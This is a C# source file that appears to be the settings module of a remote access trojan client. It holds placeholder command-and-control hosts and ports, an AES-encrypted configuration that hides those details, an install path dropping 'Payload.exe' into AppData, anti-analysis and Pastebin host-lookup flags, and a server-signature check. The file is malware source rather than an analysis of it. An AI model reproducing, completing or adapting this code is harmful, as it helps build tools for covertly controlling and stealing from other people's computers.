83 lines
3.1 KiB
C#
83 lines
3.1 KiB
C#
using Client.Cryptography;
|
|
using System;
|
|
using System.IO;
|
|
using System.Security.Cryptography;
|
|
using System.Security.Cryptography.X509Certificates;
|
|
using System.Text;
|
|
|
|
namespace Client
|
|
{
|
|
public static class Settings
|
|
{
|
|
#if DEBUG
|
|
public static string Ports = "6606";
|
|
public static string Hosts = "127.0.0.1";
|
|
public static string Version = "0.4.9G";
|
|
public static string Install = "false";
|
|
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
|
public static string Key = "NYAN CAT";
|
|
public static string MTX = "%MTX%";
|
|
public static string Certificate = "%Certificate%";
|
|
public static string Serversignature = "%Serversignature%";
|
|
public static X509Certificate2 ServerCertificate;
|
|
public static string Anti = "false";
|
|
public static Aes256 aes256 = new Aes256(Key);
|
|
public static string Pastebin = "null";
|
|
public static string BDOS = "false";
|
|
|
|
#else
|
|
public static string Ports = "%Ports%";
|
|
public static string Hosts = "%Hosts%";
|
|
public static string Version = "%Version%";
|
|
public static string Install = "%Install%";
|
|
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%");
|
|
public static string Key = "%Key%";
|
|
public static string MTX = "%MTX%";
|
|
public static string Certificate = "%Certificate%";
|
|
public static string Serversignature = "%Serversignature%";
|
|
public static X509Certificate2 ServerCertificate;
|
|
public static string Anti = "%Anti%";
|
|
public static Aes256 aes256;
|
|
public static string Pastebin = "%Pastebin%";
|
|
public static string BDOS = "%BDOS%";
|
|
#endif
|
|
|
|
|
|
public static bool InitializeSettings()
|
|
{
|
|
#if DEBUG
|
|
return true;
|
|
#endif
|
|
try
|
|
{
|
|
Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
|
|
aes256 = new Aes256(Key);
|
|
Ports = aes256.Decrypt(Ports);
|
|
Hosts = aes256.Decrypt(Hosts);
|
|
Version = aes256.Decrypt(Version);
|
|
Install = aes256.Decrypt(Install);
|
|
MTX = aes256.Decrypt(MTX);
|
|
Pastebin = aes256.Decrypt(Pastebin);
|
|
Anti = aes256.Decrypt(Anti);
|
|
BDOS = aes256.Decrypt(BDOS);
|
|
Serversignature = aes256.Decrypt(Serversignature);
|
|
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
|
|
return VerifyHash();
|
|
}
|
|
catch { return false; }
|
|
}
|
|
|
|
private static bool VerifyHash()
|
|
{
|
|
try
|
|
{
|
|
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
|
|
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
|
|
}
|
|
catch (Exception)
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
} |